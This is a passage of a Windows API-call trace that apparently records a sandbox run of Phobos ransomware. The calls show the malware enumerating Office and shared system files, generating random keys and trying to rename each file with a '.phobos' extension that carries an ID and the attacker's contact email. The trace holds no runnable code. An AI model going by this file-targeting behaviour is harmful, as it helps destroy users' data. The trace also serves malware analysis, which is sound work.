Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.740] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.740] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=102) returned 1 [0124.741] CloseHandle (hObject=0x57c) returned 1 [0124.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0124.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.743] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.743] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=102) returned 1 [0124.743] CloseHandle (hObject=0x57c) returned 1 [0124.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0124.743] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.744] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.915] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1093248) returned 1 [0124.915] CloseHandle (hObject=0x57c) returned 1 [0124.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0124.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.915] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.923] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=10240) returned 1 [0124.923] CloseHandle (hObject=0x57c) returned 1 [0124.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0124.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.924] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.936] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=6368768) returned 1 [0124.936] CloseHandle (hObject=0x57c) returned 1 [0124.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0124.936] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.938] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0124.941] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c [0124.953] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=10240) returned 1 [0124.954] CloseHandle (hObject=0x58c) returned 1 [0124.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0124.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.954] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.960] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=10240) returned 1 [0124.960] CloseHandle (hObject=0x57c) returned 1 [0124.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0124.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.960] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.972] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=10752) returned 1 [0124.972] CloseHandle (hObject=0x594) returned 1 [0124.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0124.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.973] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.975] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=4101632) returned 1 [0124.975] CloseHandle (hObject=0x594) returned 1 [0124.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0124.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0124.979] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.986] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1086464) returned 1 [0124.986] CloseHandle (hObject=0x594) returned 1 [0124.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0124.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.986] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.988] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=647584) returned 1 [0124.988] CloseHandle (hObject=0x594) returned 1 [0124.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0124.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.988] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.993] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=96768) returned 1 [0124.993] CloseHandle (hObject=0x594) returned 1 [0124.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0124.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.995] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.997] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=30720) returned 1 [0124.997] CloseHandle (hObject=0x594) returned 1 [0124.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0124.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.997] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.999] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=363728) returned 1 [0124.999] CloseHandle (hObject=0x594) returned 1 [0124.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0124.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.999] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.000] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=590523) returned 1 [0125.000] CloseHandle (hObject=0x594) returned 1 [0125.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0125.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.001] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.003] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=18624) returned 1 [0125.003] CloseHandle (hObject=0x594) returned 1 [0125.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0125.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.003] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0125.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), 